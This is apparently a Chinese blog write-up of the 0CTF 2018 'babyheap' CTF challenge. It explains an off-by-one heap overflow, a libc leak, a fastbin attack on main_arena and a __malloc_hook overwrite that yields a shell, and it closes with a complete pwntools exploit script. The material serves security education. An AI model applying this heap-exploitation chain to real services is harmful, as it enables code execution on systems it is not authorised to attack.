zoukankan      html  css  js  c++  java
  • 0ctf2018-babyheap调试记录fastbin-attack,off-by-one

    查看文件格式以及保护开启情况。发现为64位程序,符号被剥离,动态链接程序且题目提供给了libc。保护全开,猜想可能是fast attack加上malloc_hook利用(毕竟去年这题是这个利用,肯定先往这边想)

     

    简单的运行程序,发现是常规的菜单类题目,功能有申请内存(alloc)、更新(update)、删除(delete)、查看(view)、退出。我们每个功能走进去实现一遍看看。

     

    申请内存,输入内存大小即可

     

    更新内存块,选择内存块号(在alloc中确定),重新输入大小以及内容。但是这里有个奇怪的地方,你必须要输入确定大小少3个字符数才退出输入。

     

    删除操作,输入需要删除的块号即可

     

    查看操作,输入下标即可查看相应内存内容

     

    放入ida中跑一跑,首先观察malloc模块,可以看出来分配的字节限制在88字节以内,也就限制为fastbin了,其次使用calloc分配,特点除了每次分配将内存清空外其他都一样。用一个数据结构保存分配大小、是否使用和分配地址。

     

    Update模块,会判断当前编辑的内存块是否处于使用状态。重点!发现取出申请长度的时候在最后加了一个字节,且判断输入的v4和原长度v1(此时已经多加了一个字节)存在相等的可能,即可以溢出一个字节,也就是所说的off-by-one。我们可以利用此漏洞修改相邻chunk的size字段。

     

    删除模块,首先检查块是否已经被释放,其次将长度和使用情况置0,释放后将指针置NULL,不存在漏洞利用(应该没有吧)

     

    漏洞利用总体思路:首先由于全保护开启,不存在修改got表或者plt表的可能性。因此我们需要泄漏出libc的基地址(通过只有一个small chunk或者large chunk被释放时,其fd和bk指针会指向libc上的某个地址来实现),然后基本思路通过修改malloc_hook达成get shell的目的。

    利用过程:

    首先,由于calloc过程中限制了申请大小不会超过88字节,因此我们需要先申请几块fast bin然后修改第一块的内容从而使得溢出到第二块的size字段将其改变并释放。这里我们需要注意的是申请的大小必须为0xx8,即必须8结尾,因为如果你申请大小为0x10字节对齐的话,覆盖只能覆盖到下一个块的pre_size,这也是一个注意点。

    首先连续申请几个大小为fast chunk的堆块,注意到chunk的大小要限制到0xx8,即以8结尾,这样下一个字节溢出将会溢出到chunk size字段,若以0x0结尾,溢出一个字节只能溢出到下一个chunk的pre_size字段,因为pre_size字段存在公用。

     

    修改完后将chunk1释放(此时chunk1大小为0xa1,属于small chunk),此时在chunk1的内存空间里fd和bk指向libc的某个地址,但是此时无法view(1),因为chunk1已经被释放。我们可以在申请一个fast chunk块,这时chunk2部分的fd和bk块也指向了libc上的某处(即是chunk2并没有被释放也并不属于small chunk),此时就可以view(2)来读出chunk2的fd值,后面用来计算libc_base。

    这里要提一下泄漏出来的地址实际上是main_arena后的一个地址,该地址为top chunk地址,我么通过给出的libc可以找到main_arena地址,然后就找到了top chunk地址。

     

    首先ida加载libc,进入Exports表,搜索函数malloc_trim,进入该函数实现,然后f5看如下图v22的值就是main_arena地址,具体原因可以看glibc源码。

     

    我们双击v22=&dword_399B00这个值跟踪过去,可以看到的确是malloc_hook+0x10位置,的确是main_arena地址。拿到这个地址后,由于我们泄漏的是top chunk的地址,因此我们需要找到top chunk在libc内的偏移,这个位置我做了几次都很固定,就是在main_arena地址+0x58处。到此,可以计算出libc_base。

     

     

    接着再申请一个fast chunk,这个chunk拿到的地址实际为chunk2的地址,释放1和2可以拿到堆地址。

     

    我们泄漏出libc基地址后就要想办法执行system函数了,但是由于保护全部开始,那么思路主要集中在修改malloc_hook函数上。注意到释放的chunk2其实际地址仍然可控,我们通过写chunk4块来修改chunk2块的fd指针,使得连续两次申请后,第二次申请出来我们修改的地址。但是要注意一点,从fast bin中申请出chunk需要检查malloc的地址是否属于该bin,因此我们需要修改前先申请一个fast chunk再释放掉来占位,从而绕过检查。

     

    我们通过调试可以看到我们申请后释放的malloc(0x58)的fast bin地址为0x7426a16c7b400,即main_arena+32地址处,我们需要一个chunk size字段,因此main_arena+32+5处的值0x55刚好可以给我们绕过检查。我们只需要通过chunk4修改chunk2的fd值就可以连续申请出该块。

     

    还有一点需要注意,我们现在的任务是要修改top chunk的地址,使得我们下次分配时从该地址开始分配。New_top值就是我们需要修改的值,通过调试可以发现,main_arena-0x3

    3的值为0x60000000。可以作为新的top chunk。

     

    我们此时连续申请两次chunk即可拿到main_arena+32+5的值,申请的两块分别为chunk1和chunk2,我们修改chunk2,计算好偏移修改top chunk的值(88-(37+1)-16+1=35)。将top chunk的值覆盖为main_arena-0x33的值。接着,我们在申请一个新的chunk,这时会从top chunk中取一块给它,计算到malloc_hook的距离:main_arena-0x33àmain_arena-0x10。此处我为了保险起见从memalign_hook后就开始覆盖,因此需要3+8=11个字符覆盖。然后再随便申请一块就可get shell了。

     

     

    完整exp如下:

     1 #!/usr/bin/env python
     2 # coding=utf-8
     3 from pwn import *
     4 
     5 Local = 1
     6 
     7 if Local:
     8     p = process("./babyheap")
     9     libc_offset = 0x3c4b78
    10     one_offset = 0x4526a
    11     context.log_level = 'debug'
    12 else:
    13     p=remote('172.17.0.2',10001)
    14     libc_offset = 0x68+0x399af0 #远程
    15     one_offset = 0x3f35a
    16 
    17 def alloc(size):
    18     p.recvuntil("Command: ")
    19     p.sendline("1")
    20     p.recvuntil("Size: ")
    21     p.sendline(str(size))
    22 
    23 def update(index, size, content):
    24     p.recvuntil("Command: ")
    25     p.sendline("2")
    26     p.recvuntil("Index: ")
    27     p.sendline(str(index))
    28     p.recvuntil("Size: ")
    29     p.sendline(str(size))
    30     p.recvuntil("Content: ")
    31     p.sendline(content)
    32 
    33 def delete(index):
    34     p.recvuntil("Command: ")
    35     p.sendline("3")
    36     p.recvuntil("Index: ")
    37     p.sendline(str(index))
    38 
    39 def view(index):
    40     p.recvuntil("Command: ")
    41     p.sendline("4")
    42     p.recvuntil("Index: ")
    43     p.sendline(str(index))
    44 
    45 def leak():
    46     alloc(0x48) #0
    47     alloc(0x48) #1
    48     alloc(0x48) #2
    49     alloc(0x48) #3
    50     
    51     update(0, 0x49, "A"*0x48 + "xa1")  #单字节溢出修改下一块的size字段,使得释放该字段时释放整个small chunk
    52     delete(1)   #1
    53     alloc(0x48) #1,此时第1块和第2块的fd部分都有libc上的地址,由于第一块已经释放,我们通过读第二块的内容将libc上的值打印出来
    54     view(2)
    55     p.recvuntil("Chunk[2]: ")
    56     leak = u64(p.recv(8))
    57     libc_base = leak - libc_offset
    58     main_arena = leak - 0x58
    59 
    60     alloc(0x48) #4 = 2,即分配的是原第2块的地址
    61     delete(1)   #连续释放两块,然后通过第4修改第2块的fd部分,使得连续申请两块内存后第二块为覆盖的地址
    62     delete(2)
    63     view(4)     #此处可泄漏出堆的地址
    64     p.recvuntil("Chunk[4]: ")
    65     heap = u64(p.recv(8)) - 0x50
    66     log.info("heap: %s" % hex(heap))
    67     return main_arena, libc_base    #返回main_arena libc_base方便exp使用
    68 
    69 def exp(main_arena, libc_base):
    70     alloc(0x58) #1
    71     delete(1)   #删除第1块,在fastbin中占位
    72     #gdb.attach(p)
    73     addr = main_arena + 32 + 5  #这个值就是占位的值
    74     newtop = main_arena - 0x33  #这个值是0x60000000,用作修改新的top chunk
    75     one = libc_base + one_offset#one_gadget值
    76     update(4, 9, p64(addr))     #此时修改fastbin中第二个释放的fd指针(通过第4块修改)
    77     alloc(0x48) #申请第一块
    78     alloc(0x48) #申请第二块,此时申请到addr
    79 
    80     update(2, 0x2c, "x00"*35 + p64(newtop))    #计算偏移,修改top chunk为malloc_hook之前的0x60000000部分
    81     alloc(0x38) #5
    82     update(5, 28, "w"*11 + p64(one)*2)
    83     gdb.attach(p)
    84     alloc(0x38) #执行malloc_hook指向的函数
    85 
    86 if __name__ == '__main__':
    87     main_arena,libc_base = leak()
    88     exp(main_arena,libc_base)
    89     p.interactive()
  • 相关阅读:
    malloc/free和new/delete的区别
    Vim Skills——Windows利用Vundle和Github进行Vim配置和插件的同步
    selenium自学笔记---ecshop购买脚本 xpath定位元素(下拉框,单选框)
    python基础09--闭包,装饰器
    python基础08--迭代器,生成器
    python基础07--函数
    python基础06--文件操作
    python基础05--深浅copy, set,bytes
    python基础04--list,cou,dict
    python基础03--int,bool,str
  • 原文地址:https://www.cnblogs.com/xingzherufeng/p/9901417.html
Copyright © 2011-2022 走看看